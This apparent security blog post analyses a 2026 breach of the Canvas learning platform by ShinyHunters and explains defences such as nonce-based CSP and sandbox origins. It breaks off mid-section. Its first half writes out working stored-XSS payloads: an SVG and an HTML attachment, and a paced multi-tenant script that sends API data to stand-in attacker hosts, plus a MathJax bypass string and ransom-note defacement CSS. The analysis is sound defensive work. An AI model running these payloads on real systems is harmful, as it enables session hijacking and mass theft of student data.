The Instructure Canvas Breach (2026): How a Single Support Ticket Exposed 275 Million Students

Editor’s Note – This article combines publicly reported incident details with technical analysis. Where the exact exploit mechanism has not been publicly confirmed, the article clearly marks the explanation as inference.

A teacher, probably a real one, an actual teacher doing teacher things – opens a Canvas support ticket sometime in late April 2026. Attached to the ticket is a file. The file has hidden code in it. Three days later, a Canvas support rep opens the ticket, and the code fires silently in their browser. Four days after that, ShinyHunters is sitting on 3.65 terabytes of data from 8,809 educational institutions and 275 million student accounts.

That’s the whole story, really. Everything else is detail.

But the details matter enormously because this wasn’t a novel attack, a zero-day exploit chain, or a sophisticated nation-state operation. It was stored XSS, bad session scoping, and a missing HTTP header. The three cheapest problems in web security. And they collectively compromised the most widely used learning management system on the planet during finals season.

I’ve been looking at this incident from every angle I can and the thing that keeps pulling me back isn’t the scale. Breaches are big these days, unfortunately, it’s how preventable every single step of the chain was. Not in a “well in hindsight” way. In a “this is in the OWASP Top 10 and has been for fifteen years” way.

Let me walk through exactly what happened, how each piece fit together technically, and what any security team should take away from it.

Who Is ShinyHunters?

Before the timeline: ShinyHunters is not a newcomer. The group has been active since at least 2020 and has a body of work that reads like a greatest hits of bulk exfiltration breaches – Microsoft’s private GitHub repositories, Tokopedia (91 million records), Wishbone (40 million records), Wattpad (270 million records), AT&T (70 million records), and Ticketmaster (560 million records in 2024), among others.

Their operational model is financially motivated extortion rather than nation-state espionage or hacktivism. The playbook: exfiltrate data silently, establish proof of possession, negotiate ransom, and sell on dark-web forums if payment doesn’t come. They have a persistent presence on BreachForums, which is itself a successor to RaidForums after that platform was seized. The group communicates fluently across English and French and has demonstrated technical sophistication ranging from credential stuffing to supply chain targeting, though they clearly also look for commodity vulnerabilities in high-value targets.

The Canvas breach followed that mold until it didn’t. When Instructure’s initial response was slow, ShinyHunters escalated to active defacement – pushing a ransom note onto school login portals during AP exams. That’s not their usual approach. It’s noisier and it burns access. The fact that they did it anyway suggests either that they’d already extracted what they wanted and the defacement was pure pressure/spectacle, or that they were genuinely frustrated with the pace of negotiations and decided leverage was more valuable than stealth at that point.

Either way, that escalation choice is what took this from a data breach story to a national news story.

The Full Incident Timeline

Here’s the complete sequence reconstructed from Instructure’s own incident update page, their May 18-19 customer webinar with Chief Architect Zach Pendleton, CISO Steve Proud, and CrowdStrike Head of IR James Perry, alongside independent coverage.

April 22, 2026 – A Free-for-Teacher user opens a Canvas support ticket. The ticket contains what Instructure described in their webinar as “a linked file with hidden code.” That phrasing, deliberately nonspecific is Instructure’s way of saying stored XSS delivered via a file attachment rather than inline HTML, a distinction that matters enormously and we’ll get into shortly.

April 25, 2026 – Three days later, a Canvas customer-service representative opens the ticket to work it. The payload fires inside the rep’s authenticated browser session. This is the moment the breach actually begins, even though nobody at Instructure knows it yet.

April 28, 2026 – The attacker begins using the hijacked session to call Canvas APIs and pull data. Three days of silence between session compromise and active exfiltration suggests either automated tooling that batched and queued the extraction, careful manual pacing to stay under anomaly detection thresholds, or reconnaissance first followed by bulk pull. The data categories confirmed exfiltrated: usernames, email addresses, course names, enrollment information, and in-product messages.

April 29, 2026 – Instructure detects the suspicious API activity. Access revoked by April 30.

May 7, 2026 (morning) – A second, completely separate stored XSS is exploited. This one is in the Canvas discussion feature – a different code path, a different vulnerability, discovered independently. The attacker uses it to obtain what appears to be administrator-level session access.

May 7, 2026 (later that day) – Using the compromised admin session, the attacker calls Canvas’s “custom themes” API – a legitimate platform feature to push a malicious CSS file to roughly 300 school login portals. A ransom message appears on the login pages of those schools. Canvas goes offline during finals week and AP exams.

May 12, 2026 – The US Department of Education’s Federal Student Aid office issues a security alert.

Post-incident – Congress opens an inquiry. An alleged $10 million ransom is reportedly paid. Instructure describes reaching an “agreement” with ShinyHunters – the standard corporate language for ransom settlement. The Free-for-Teacher program is shut down permanently. ShinyHunters claims 3.65 TB of data and 8,809 affected institutions.

Two XSS vulnerabilities. One hijacked session each time. Weeks of damage affecting hundreds of millions of people.

Understanding Stored XSS: The Vulnerability Class That Made This Possible

Before getting into the specifics of what Canvas got wrong, it’s worth being precise about what stored XSS actually is and why it’s such a powerful primitive when it shows up in the right place.

Cross-site scripting (XSS) comes in three main forms: reflected, DOM-based, and stored. Reflected XSS requires the attacker to trick a victim into clicking a specially crafted link. The payload is in the URL, reflected back by the server into the response, and executed in the victim’s browser. It requires active delivery per victim. DOM-based XSS operates entirely client-side, where JavaScript reads attacker-controlled input from the URL and writes it to the DOM without sanitization. Both of these require per-victim delivery and have relatively high friction.

Stored XSS is different. The attacker submits the payload once. It gets written into the application’s database or storage. Every user who subsequently views that content gets the payload delivered automatically, in their authenticated browser session, with no further action required from the attacker. It’s a fire-and-forget mechanism. Submit it, walk away, wait for a privileged user to load the page.

In Canvas’s case the attacker submitted the payload on April 22. They waited three days. On April 25 a support rep with broad API access opened the ticket, and the payload fired automatically. The attacker didn’t need to be watching in real time. They didn’t need to be at a keyboard. The payload executed in an authenticated session with significant backend authority, and the attacker just harvested what it reported back.

This is why stored XSS in internal tooling is almost always more severe than stored XSS in user-facing parts of an application. The population of users hitting the internal tooling is small – support reps, admins, moderators but their session scope is enormous.

How XSS Payloads Actually Execute

Let me be precise about the browser mechanics, because there’s some confusion in general discourse about exactly what “executing in the authenticated session” means and why it matters.

When a support rep loads a ticket in their help-desk UI, their browser sends an HTTP request to the help-desk server including their session cookie in the Cookie header. The server looks up the session, verifies the rep is authenticated, and returns an HTML response for that ticket page.

If that HTML response includes script that the attacker injected – whether through an inline <script> tag, an event handler like onload, an href="javascript:..." attribute, or a dynamically rendered SVG containing script, the browser executes that script within what it considers the origin of the page. The browser doesn’t know the script came from an attacker. It trusts whatever the server included in the response.

Because the script executes within the origin of the help-desk application, it has full access to everything bound to that origin. document.cookie gives it the session cookie (if it’s not HttpOnly). The Fetch API lets it make authenticated requests to any API endpoint that accepts that session cookie, because the browser will include the cookie automatically in same-origin requests. localStorage and sessionStorage for that origin are readable. If the page holds any authentication tokens in memory (held in JavaScript variables, in a global state store, in a React/Angular app’s state), those are accessible too.

This is the scope of what “session hijacking via XSS” actually means. It’s not just reading a cookie. It’s the ability to make any request the authenticated user could make, silently, in the background, while the user continues working normally.

The canvas_sanitize Bypass

Canvas is open source, which means we can look at exactly what its HTML sanitizer does. The canvas_sanitize gem is an allowlist-based sanitizer. It defines which HTML tags and attributes are permitted and strips everything else. This is generally the right approach to HTML sanitization; blocklisting is almost always insufficient.

The allowlist approach works like this: the sanitizer parses the incoming HTML into a DOM tree, walks the nodes, and removes any tag or attribute that isn’t on the allowlist. The result is a reconstituted HTML string containing only permitted elements.

For inline HTML submitted through the ticket body, this is presumably what ran. And for inline HTML it works well enough, provided the allowlist is tight. The problem the attacker exploited wasn’t the ticket body sanitizer. It was that the payload arrived as a file, through the attachment rendering path, and attachment rendering is a completely different code path that apparently had no equivalent sanitization or sandboxing applied.

This is a common and painful failure pattern: security reviews focus on the primary input path (the ticket text box), correctly lock it down, and miss the secondary path (the attachment previewer). Every feature that accepts user-supplied content and renders it in a browser is an XSS surface. Attachments, embedded images, document previews, link previews, auto-generated thumbnails – all of them. The sanitizer only helps if the rendering path runs through it.

The File Attachment Vector: What “A Linked File With Hidden Code” Actually Means

Instructure’s official description is “a linked file with hidden code” which is imprecise enough to be frustrating, and they haven’t publicly disclosed the exact mechanism. But reading the phrase carefully and reasoning from what we know about Canvas’s architecture and file handling, a few specific candidates emerge.

SVG as an XSS Vector

SVG (Scalable Vector Graphics) files are XML documents that browsers render natively. They’re also one of the most reliably dangerous file types for XSS because they’re XML that can contain <script> elements, event handlers on graphical elements, and JavaScript URIs. Browsers execute them.

An SVG file that acts as an XSS payload is structurally simple:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"
     onload="executeMaliciousPayload()">
  <script type="text/javascript">
    function executeMaliciousPayload() {
      // Anything here runs in the browser's JavaScript engine
      // with the same origin and session context as the page that loaded this SVG
      var xhr = new XMLHttpRequest();
      xhr.open('GET', '/api/v1/users?per_page=100', true);
      xhr.withCredentials = true;
      xhr.onload = function() {
        exfiltrate(xhr.responseText);
      };
      xhr.send();
    }
    function exfiltrate(data) {
      fetch('https://attacker-controlled-server.example/collect', {
        method: 'POST',
        body: data
      });
    }
  </script>
  <rect width="100" height="100" fill="white"/>
</svg>

If this SVG is rendered inline in the page, not as an <img> tag (which sandboxes SVG script execution) but as an <object>, <embed>, or inline <svg> embedded directly in the DOM, the script executes immediately when the page loads. The onload event fires on the SVG element, calls executeMaliciousPayload(), and the payload is running.

The reason sanitizers often miss SVG payloads: if the file comes through the attachment pipeline rather than through the rich text editor, the body sanitizer (canvas_sanitize) never sees it. The attachment renderer receives the file, decides it can preview it inline because it’s an SVG, and renders it directly into the help-desk page DOM. No sanitization checkpoint was ever in the path.

HTML File Attachments

An .html file attachment with JavaScript embedded behaves exactly like an SVG if rendered inline in the ticket viewer. It’s actually simpler to craft:

<!DOCTYPE html>
<html>
<head><title>Totally Normal Document</title></head>
<body onload="steal()">
<p>This is a totally normal help document.</p>
<script>
function steal() {
  // We are now executing in the help-desk origin
  // Session cookies (if not HttpOnly), localStorage, and all API access
  // are available to us
  // First: enumerate what canvas API endpoints are reachable
  const endpoints = [
    '/api/v1/accounts',
    '/api/v1/users',
    '/api/v1/courses',
    '/api/v1/conversations'
  ];
  // Batch fetch all endpoints
  Promise.all(
    endpoints.map(ep =>
      fetch(ep, { credentials: 'include' })
        .then(r => r.json())
        .catch(e => ({ error: ep, message: e.toString() }))
    )
  ).then(results => {
    // Exfiltrate everything to attacker C2
    const beacon = new Image();
    // For small payloads - for large ones use fetch POST
    beacon.src = 'https://attacker.example/collect?data='
      + encodeURIComponent(JSON.stringify(results));
  });
}
</script>
</body>
</html>

If the help-desk system renders this file’s contents inline in the support ticket view rather than offering it as a download, every line of that JavaScript runs in the rep’s authenticated session.

The DocViewer / Canvadocs Path

Canvas uses an internal service called DocViewer (also referred to as Canvadocs) to render document previews inline. When a student submits an assignment as a PDF, a Word doc, or a PowerPoint, Canvas sends it to DocViewer, which renders a preview that appears in the Canvas interface for graders and reviewers.

DocViewer is built on a document rendering pipeline that has to handle a huge variety of file types. And document renderers are historically among the most bug-prone code in any application. They have to parse complex, deliberately adversarial binary formats, and they frequently use third-party libraries that have their own vulnerability histories.

CVE-2021-36539 was a prior public vulnerability specifically in Canvas’s canvadoc_session_url code path. The details of that CVE involved session URL manipulation, but it illustrates that the DocViewer code path has been a vulnerability surface before. If the 2026 attack used a crafted PDF or Office document that triggered a rendering flaw in DocViewer’s preview output – injecting script into the preview iframe without proper sandboxing that would match the “linked file with hidden code” description perfectly.

The reason document previewers are so dangerous in this context: they’re almost always implemented as iframes that load the rendered document content. If that iframe shares an origin with the parent application, or if its sandbox attribute doesn’t include the right restrictions, script that executes in the iframe has full access to the parent’s DOM and session context.

The correct implementation sandboxes document previewer iframes like this:

<!-- Wrong: shares origin, script has full session access -->
<iframe src="/docviewer/render/12345"></iframe>
<!-- Wrong: sandbox without the right restrictions -->
<iframe src="/docviewer/render/12345" sandbox="allow-scripts"></iframe>
<!-- Right: sandboxed, separate origin, no session cookie access -->
<iframe
  src="https://preview.canvas-sandbox.com/render/12345"
  sandbox="allow-scripts allow-same-origin"
  referrerpolicy="no-referrer"
></iframe>
<!-- Even better: sandbox without allow-same-origin (no DOM/cookie access at all) -->
<iframe
  src="https://preview.canvas-sandbox.com/render/12345"
  sandbox="allow-scripts"
  referrerpolicy="no-referrer"
></iframe>

The combination of a separate cookieless origin and a sandboxed iframe without allow-same-origin means that even if script runs inside the iframe, it can’t touch the parent page’s cookies, localStorage, or DOM. The XSS is contained entirely within the previewer sandbox. There’s nothing interesting to steal.

How the Rep’s Session Became a Master Key

Once the payload fired in the rep’s browser, the next question is: what exactly could it do? This is where the architectural problem compounds the vulnerability.

Support representatives at a platform like Canvas need broad access. When a university’s IT department contacts Canvas support with a problem, the rep needs to be able to see that university’s account, look at their user data, check their course configurations, and potentially call APIs on their behalf to diagnose issues. That’s the job. The session they authenticate with every morning has to carry enough authority to do all of that.

In a naive multi-tenant SaaS implementation, this “carry enough authority” often translates to “the support rep session has an internal admin role that bypasses tenant isolation entirely.” The API endpoints accept the session cookie, see an admin-role claim in the session, and return data for whatever tenant is specified in the request parameters. No per-tenant re-authentication, no step-up challenge, no secondary verification. Just “you have an admin cookie, here’s the data.”

The attacker’s payload would have discovered this quickly. A few test API calls hitting /api/v1/accounts with the hijacked session would show the full list of tenant accounts the session can access. If that list returned 8,809 results, the exfiltration automation practically writes itself.

Here’s a realistic model of what automated exfiltration across all tenants might have looked like:

// Pseudocode representing automated tenant enumeration and exfiltration
// This is illustrative; not the actual payload
async function enumerateAndExfiltrate() {
  const C2_ENDPOINT = 'https://attacker-c2.example/collect';
  const BATCH_SIZE = 50;
  const DELAY_MS = 2000; // Slow down to avoid rate limiting / anomaly detection
  // Step 1: Get all accounts (tenants) this session can access
  let accounts = [];
  let page = 1;
  let hasMore = true;
  while (hasMore) {
    const resp = await fetch(
      `/api/v1/accounts?per_page=100&page=${page}`,
      { credentials: 'include' }
    );
    const data = await resp.json();
    if (data.length === 0) {
      hasMore = false;
    } else {
      accounts = accounts.concat(data);
      page++;
    }
    await sleep(DELAY_MS);
  }
  // Step 2: For each tenant account, pull users, courses, enrollments, messages
  for (let i = 0; i < accounts.length; i += BATCH_SIZE) {
    const batch = accounts.slice(i, i + BATCH_SIZE);
    for (const account of batch) {
      const accountId = account.id;
      const [users, courses, conversations] = await Promise.all([
        fetch(`/api/v1/accounts/${accountId}/users?per_page=100`, { credentials: 'include' })
          .then(r => r.json()),
        fetch(`/api/v1/accounts/${accountId}/courses?per_page=100`, { credentials: 'include' })
          .then(r => r.json()),
        fetch(`/api/v1/conversations?scope=inbox&per_page=50`, { credentials: 'include' })
          .then(r => r.json())
      ]);
      // Beacon collected data to C2
      await fetch(C2_ENDPOINT, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          account_id: accountId,
          account_name: account.name,
          users: users,
          courses: courses,
          conversations: conversations,
          timestamp: Date.now()
        })
      });
    }
    await sleep(DELAY_MS * 5); // Pause between batches
  }
}
function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}
enumerateAndExfiltrate();

The deliberate pacing is crucial. Running this too fast triggers API rate limiting and anomaly detection on request volume. Spreading it across four days (April 28-30) while varying the request timing keeps the behavior within the statistical noise of normal support traffic. This is why Instructure didn’t detect it on April 25 when the session was first compromised. The API calls only began April 28, and they presumably looked like busy support activity.

Why HttpOnly Cookies Wouldn’t Have Saved Them

I want to address a misconception that comes up in discussions of XSS: “just mark the session cookie HttpOnly and the attacker can’t steal it.”

HttpOnly prevents JavaScript from reading the cookie via document.cookie. It’s a good security control and you should absolutely use it. But it does not prevent XSS payloads from making authenticated API calls using that cookie. The browser attaches HttpOnly cookies to HTTP requests automatically, including requests made by the Fetch API and XMLHttpRequest. The payload can’t read the cookie value, but it doesn’t need to. It just calls the API with credentials: 'include' and the browser handles the cookie attachment transparently.

HttpOnly stops session token theft (where the attacker wants to use the cookie in a completely different browser context). It does not stop same-origin API abuse from within the hijacked page’s execution context. Those are two different attacks, and only one of them is stopped by HttpOnly.

The correct mental model: HttpOnly prevents the attacker from extracting the cookie and using it externally. CSP prevents the payload from running in the first place. You want both.

The Second XSS: Discussions and the MathJax Attack Surface

After Instructure patched the support ticket vector on April 30, ShinyHunters returned eleven days later through a completely different code path – the Canvas discussion feature. This is worth understanding separately because it illustrates a different class of XSS surface: rich text user-generated content in an LMS.

Canvas discussions support rich text editing via the Canvas Rich Content Editor (RCE), which is built on TinyMCE. Students and teachers can post formatted text, embed images, create tables, insert LaTeX math equations (rendered via MathJax), embed video, and use a range of HTML constructs. The surface area is enormous by design.

Why LMS Discussion Features Are Hard to Sanitize

The fundamental challenge with sanitizing LMS discussion content is that legitimate rich content overlaps heavily with malicious content at the syntactic level. Consider:

An embedded YouTube video uses an <iframe> tag. Iframes are also used for clickjacking and content injection.

LaTeX math equations like $\sum_{i=1}^{n} x_i$ get processed by MathJax, which parses them and outputs SVG or HTML. If you can find input that MathJax mishandles – something that looks like math notation but produces executable HTML in the output – you bypass the pre-rendering sanitizer entirely because the sanitizer inspects the input before MathJax runs, and the dangerous content only exists in the output.

<a href> tags are legitimate for links. <a href="javascript:void(0)" onclick="..."> is also a legitimate pattern for JavaScript-enhanced links. The line between “link that has a click handler for UX purposes” and “XSS payload disguised as a link” is determined by intent, which a sanitizer can’t evaluate.

The MathJax Unicode Bypass Technique

Publicly disclosed Canvas security research (available on GitHub from Andrew Healey) documented a specific MathJax bypass technique using the \phantom{\unicode{...}} LaTeX construct. This is worth understanding in some depth because it’s representative of an entire class of renderer-based XSS.

MathJax is a JavaScript library that takes LaTeX, MathML, or AsciiMath notation and renders it as formatted math output in the browser, either as SVG or HTML. The \unicode command in TeX allows you to insert arbitrary Unicode characters by code point. MathJax implements this command and renders the specified character.

The bypass works by encoding HTML/JavaScript constructs as Unicode escape sequences that MathJax’s output renderer then decodes and emits into the DOM. The pre-render sanitizer sees what looks like a math expression. MathJax runs and produces HTML that contains executable content. The sanitizer’s view of the input never matched the browser’s view of the output.

A simplified illustration of the concept:

// What the attacker submits (looks like a math expression to the sanitizer)
\(\phantom{\unicode{60}script\unicode{62}executeMaliciousPayload()\unicode{60}/script\unicode{62}}\)
// Unicode 60 = '<', Unicode 62 = '>'
// MathJax processes this and outputs:
// <phantom><script>executeMaliciousPayload()</script></phantom>
// Which the browser then executes as script

The exact mechanism differs across MathJax versions and Canvas versions, and Instructure has presumably patched this specific pattern. But the class of attack where a rendering pipeline produces dangerous output from input that looks benign at the sanitizer’s inspection point is essentially permanent. Anywhere you have a complex transformation between user input and browser output, there is potential for output that bypasses input-level sanitization.

This is why “we have a sanitizer” is not a complete answer to XSS. Sanitizers inspect inputs. Browsers render outputs. If there’s any transformation between the two, the security guarantee degrades.

Why the Second XSS Reached Admin Privilege

Instructure hasn’t specified exactly which privilege level the second XSS reached. What we know is that after it fired, the attacker was able to call the custom themes API, which is an administrator-only operation. So either the session that got compromised belonged to an administrator-level user who happened to view the malicious discussion post, or there was a secondary privilege escalation step.

In a Canvas deployment, course instructors and institution administrators both have elevated access. A discussion post in a course can be viewed by instructors, TAs, and administrators during normal course management. If any of those roles has access to the themes API or if the session that got compromised happened to belong to a platform admin, the attacker gets admin capability from a single privileged user viewing the post.

This is a user-targeting consideration. If you can craft a discussion post in a specific course and you know an administrator is likely to view that course, you can target your stored XSS at admin users specifically. Canvas’s internal tooling would make this even easier – admins reviewing flagged content or student appeals would routinely view discussion posts in their authenticated sessions.

The Custom Themes Defacement: When the Exploit Is the Feature

The May 7 defacement is the part of this incident that I think most coverage doesn’t examine carefully enough.

The attacker didn’t exploit a vulnerability to deface 300 school login pages. They used a feature.

Canvas has a “custom themes” capability that allows institutional administrators to customize the visual appearance of their Canvas installation. Upload a CSS file, specify brand colors, add a custom logo. It’s exactly the kind of feature an enterprise LMS needs to let institutions brand their environment.

Once the attacker had admin-level session access (via the discussion XSS), calling the themes API was a normal, authenticated, authorized API call. The platform’s API accepted it. The CSS file was deployed. Students at ~300 schools saw a ransom note on their login pages instead of a login form during AP exam season.

Let me make this concrete. The themes API call probably looked something like this:

// From the attacker's perspective - making a legitimate API call with stolen admin credentials
// First: upload the malicious CSS file through Canvas's file upload API
const cssContent = `
/* canvas ransom CSS */
body::before {
  content: '';
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: #000;
  z-index: 99999;
}
body::after {
  content: 'YOUR DATA HAS BEEN TAKEN. Contact [redacted] within 72 hours.';
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  color: #ff0000;
  font-size: 2em;
  font-family: monospace;
  z-index: 100000;
  text-align: center;
}
/* Hide all normal page content */
#content, .ic-Layout-main, .ic-app {
  display: none !important;
}
`;
// Upload CSS as a theme file
const formData = new FormData();
formData.append('css_file', new Blob([cssContent], { type: 'text/css' }), 'theme.css');
// Apply theme via Canvas admin API
fetch('/api/v1/accounts/1/brand_variables', {
  method: 'PUT',
  credentials: 'include',
  body: formData
});

The API doesn’t know the caller isn’t a legitimate admin. The session token says admin. The request format is correct. The CSS file is syntactically valid. The platform does exactly what it’s designed to do when an admin uploads a custom theme.

This is the lesson that makes me most uncomfortable about this incident: the final-stage damage wasn’t stoppable by patching an XSS vulnerability. It was stoppable only by preventing the session compromise in the first place, or by requiring additional authentication before deploying platform-wide visual changes which is a re-auth challenge before a high-impact admin action.

Many platforms implement what’s called “sensitive action re-authentication”: even if you’re already logged in, before performing high-impact actions (deleting accounts, changing billing, deploying platform-wide changes), you’re prompted to re-enter your password or provide an MFA code. This is the correct architectural control for this specific risk. An XSS payload running in the background can steal a session cookie, but it cannot complete an MFA challenge without either additional social engineering or a secondary vulnerability.

Content Security Policy: A Deep Dive Into What It Would Have Changed

CSP gets mentioned in every XSS post-mortem, usually in a single paragraph, usually without enough technical depth to actually help anyone implement it. I want to fix that.

Content Security Policy is a response header. When your server sends an HTTP response, it can include a Content-Security-Policy header that tells the browser which sources of content are authorized for that page. The browser enforces the policy at runtime. It refuses to execute script, load stylesheets, make fetch requests, or load other resources from origins that aren’t on the allowlist.

The key insight is that CSP operates independently of your application code. It doesn’t matter what your sanitizer did or didn’t catch. If the browser’s runtime enforcement says “don’t execute inline script without a nonce,” it won’t execute inline script without a nonce, period. The sanitizer is an application-layer control. CSP is a browser-layer control. Defense in depth means having both.

A Strict Nonce-Based CSP Explained Line by Line

Here’s a CSP policy appropriate for an internal help-desk or admin tool:

Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-{server-generated-random-per-request}';
  style-src 'self' 'nonce-{server-generated-random-per-request}';
  img-src 'self' data: https://cdn.example.com;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.canvas.example.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  report-to csp-violations;

Let me go through what each directive does in the context of the Canvas attack.

default-src 'none' – The catch-all fallback. Anything not explicitly addressed by a more specific directive is blocked. This prevents drift: if you add a new resource type later and forget to include it in the policy, it defaults to blocked rather than defaulting to allowed.

script-src 'self' 'nonce-{random}' – This is the core of the defense. JavaScript can only execute if it either comes from the same origin as the page ('self') or carries the nonce attribute. The nonce is a randomly generated value produced fresh by the server for every page request. Every <script> tag on the page that’s supposed to be there gets nonce="abc123" in the HTML. The browser only executes script with the matching nonce.

The attacker’s injected <script> tag – whether it came through the SVG attachment, the HTML file, or the document previewer does not have the nonce. The browser sees it, checks the policy, finds no nonce match, and refuses to execute it. The payload is inert.

Critically: 'unsafe-inline' must not be in the policy. 'unsafe-inline' allows all inline script and defeats the nonce-based approach entirely. It’s a common mistake during CSP rollout. Developers add it to suppress violations from their own inline scripts rather than adding nonces to those scripts. Don’t do that.

style-src 'self' 'nonce-{random}' – Same principle for stylesheets. Blocks the attacker from injecting CSS that uses expression() (an old IE attack) or that loads external resources via url() that could be used for data exfiltration via CSS selectors. Also directly relevant to the May 7 defacement: if the custom themes CSS file is loaded through the browser and this directive blocks non-nonce CSS, even the themes-based defacement attempt hits a wall in users’ browsers.

connect-src 'self' https://api.canvas.example.com – This restricts where the page’s JavaScript can make network requests. If the attacker’s payload tries to exfiltrate data to https://attacker-c2.example/collect, that request hits the connect-src policy, gets blocked by the browser, and generates a CSP violation report. This is the second line of defense: even if somehow a script executed, its ability to phone home is restricted to approved endpoints.

frame-src 'none' – No iframes allowed. This is appropriate for an admin UI that doesn’t need embedded frames. If you need document previewing, you’d change this to frame-src https://preview.canvas-sandbox.com (the cookieless sandbox origin for the previewer).

object-src 'none' – Blocks <object>, <embed>, and <applet> tags. These are rarely used in modern apps and have been XSS vectors historically. Just block them.

base-uri 'self' – Prevents injection of a <base> tag that changes the base URL for all relative links and scripts on the page. Without this restriction, an injected <base href="https://attacker.example"> can turn all relative src attributes into attacker-controlled URLs.

form-action 'self' – Restricts where forms can submit to. Prevents injected forms from submitting credentials to attacker-controlled endpoints.

frame-ancestors 'none' – Prevents the page from being loaded inside an iframe on another origin. This is the CSP equivalent of the older X-Frame-Options: DENY header and blocks clickjacking attacks.

report-to csp-violations – Configures a reporting endpoint. Every CSP violation generates a report that the browser sends to this endpoint. This is the detection mechanism. We’ll discuss this in detail in the next section.

The Nonce Generation and Distribution Problem

Nonces work only if they’re truly random and truly per-request. Both of those properties are important.

A nonce that’s the same across requests defeats the purpose: if the attacker can predict or observe the nonce value, they can include it in their injected script and bypass the policy. The nonce should be generated using a cryptographically secure random number generator, at least 128 bits of entropy, as a new value for every single page response.

In a web framework this looks something like:

# Ruby/Rails example
# In application controller
before_action :set_csp_nonce
def set_csp_nonce
  @csp_nonce = SecureRandom.base64(16)  # 128 bits, base64 encoded
  response.headers['Content-Security-Policy'] = build_csp_policy(@csp_nonce)
end
def build_csp_policy(nonce)
  [
    "default-src 'none'",
    "script-src 'self' 'nonce-#{nonce}'",
    "style-src 'self' 'nonce-#{nonce}'",
    "img-src 'self' data:",
    "connect-src 'self'",
    "object-src 'none'",
    "base-uri 'self'",
    "form-action 'self'",
    "frame-ancestors 'none'",
    "report-to csp-violations"
  ].join('; ')
end

And in your view templates, every script tag gets the nonce:

<!-- The nonce is passed from the controller to the view -->
<script nonce="<%= @csp_nonce %>">
  // Your legitimate JavaScript here
  initHelpDeskUI();
</script>
<!-- An injected script tag has no nonce -->
<!-- This fires in the browser but is immediately blocked -->
<script>
  executeMaliciousPayload(); // Browser refuses to execute: no matching nonce
</script>

The browser executes exactly one of those script blocks. Yours.

Why 'strict-dynamic' Helps in Complex Applications

One challenge with nonce-based CSP in large applications is that legitimate JavaScript often dynamically loads other scripts at runtime. A framework like React or Angular loads a bundle, which then imports other modules, which might load polyfills or vendor libraries. All of those dynamically loaded scripts lack nonces because they’re loaded programmatically, not hard-coded in HTML.

The 'strict-dynamic' CSP keyword addresses this. It allows scripts that carry the nonce to, in turn, load other scripts dynamically via DOM manipulation. The trust propagates down: if a nonced script creates a <script> element and appends it to the DOM, 'strict-dynamic' permits that child script to execute even without its own nonce.

script-src 'nonce-{random}' 'strict-dynamic';

This significantly reduces the friction of adopting CSP in existing complex applications, because you don’t have to add nonces to every dynamically loaded script, you just need nonces on your entry points.

CSP Reporting: The Real-Time Detection Layer

This is the part of the Canvas story that frustrates me most, because it’s the part where the breach duration goes from “four days” to “same day.”

CSP violation reports are generated by the browser automatically, synchronously, and without any application code required. When a script execution is blocked by CSP, the browser sends an HTTP POST to the report-to (or older report-uri) endpoint specified in the policy. The report contains:

• The URL of the page where the violation occurred
• The blocked URI (what tried to execute or load)
• The violated directive (e.g., script-src)
• The document URI and referrer
• The original policy
• A sample of the violating content (if report-sample is included in the policy)
• A timestamp

The report-to directive uses the Reporting API, configured via a separate Reporting-Endpoints response header:

Reporting-Endpoints: csp-violations="https://your-reporting-endpoint.example/csp"
Content-Security-Policy:
  script-src 'self' 'nonce-{random}';
  report-to csp-violations;

The violation report body (sent as JSON) looks like this:

{
  "age": 0,
  "body": {
    "blockedURL": "inline",
    "columnNumber": 1,
    "disposition": "enforce",
    "documentURL": "https://support.canvas.example.com/tickets/99812",
    "effectiveDirective": "script-src-elem",
    "lineNumber": 47,
    "originalPolicy": "default-src 'none'; script-src 'self' 'nonce-abc123'; ...",
    "referrer": "https://support.canvas.example.com/dashboard",
    "sample": "executeMaliciousPayload()",
    "sourceFile": "",
    "statusCode": 200
  },
  "type": "csp-violation",
  "url": "https://support.canvas.example.com/tickets/99812"
}

Read that carefully. The violation report includes the URL of the ticket page where the violation occurred. It includes the sample of the blocked script content. The documentURL is the exact URL of the help-desk ticket that fired the XSS.

If Instructure had been running CSP with reporting on their help-desk UI – even in report-only mode, which doesn’t block anything but does report everything. They would have received this violation report on April 25, the moment the rep first opened the ticket. Every subsequent page view of that ticket by any rep would have generated another violation report.

The breach ran from April 25 to April 29. CSP reporting would have surfaced it on April 25. Four days of exfiltration compressed to hours.

Report-Only Mode: The Zero-Risk Deployment Strategy

CSP has a shadow mode called Content-Security-Policy-Report-Only. In report-only mode, the browser enforces nothing. All script executes normally, all content loads normally, nothing is blocked. But every violation of the specified policy generates a report to the reporting endpoint.

This means you can deploy report-only CSP on any page, immediately, with zero risk of breaking existing functionality. You’ll see all the violations including legitimate ones from your own code and you can use them to build toward a policy you can actually enforce.

The deployment sequence:

1. Add Content-Security-Policy-Report-Only with a strict policy and a report-to endpoint
2. Watch the violation reports come in. You’ll see violations from your own inline scripts, your analytics snippets, your CDN-loaded libraries
3. For each legitimate violation: add the appropriate nonce, move inline scripts to external files, or add the CDN origin to the allowlist
4. As violations from your own code drop toward zero, you’re seeing only anomalous executions. Those are interesting
5. Switch from Report-Only to enforced Content-Security-Policy
6. Keep the reporting in place. Now you get both blocking and detection simultaneously

The key operational insight: once you’re in enforce mode, the absence of CSP violations from your help-desk UI means your expected policy is being enforced as expected. A sudden appearance of script-src violations on the help-desk is an incident indicator. Set up alerting on violation rate. A spike from zero to nonzero on your admin tooling is worth waking someone up for.

The Sandbox Origin Architecture: The Structural Fix

CSP is the right operational control. The right architectural control is sandbox origins.

The principle: any user-generated content that gets rendered in a browser should live on a completely separate domain from your application. That domain should be cookieless for your production application, should have no API credentials or session tokens, and should be the only origin that renders untrusted content.

Let me be concrete about how this works. Suppose Canvas’s production application lives at canvas.instructure.com. The sandbox origin for user-uploaded files and document previews might be ucontent.instructure.com or, better, a completely separate domain like canvas-user-content.com.

The sandbox origin is configured as follows:

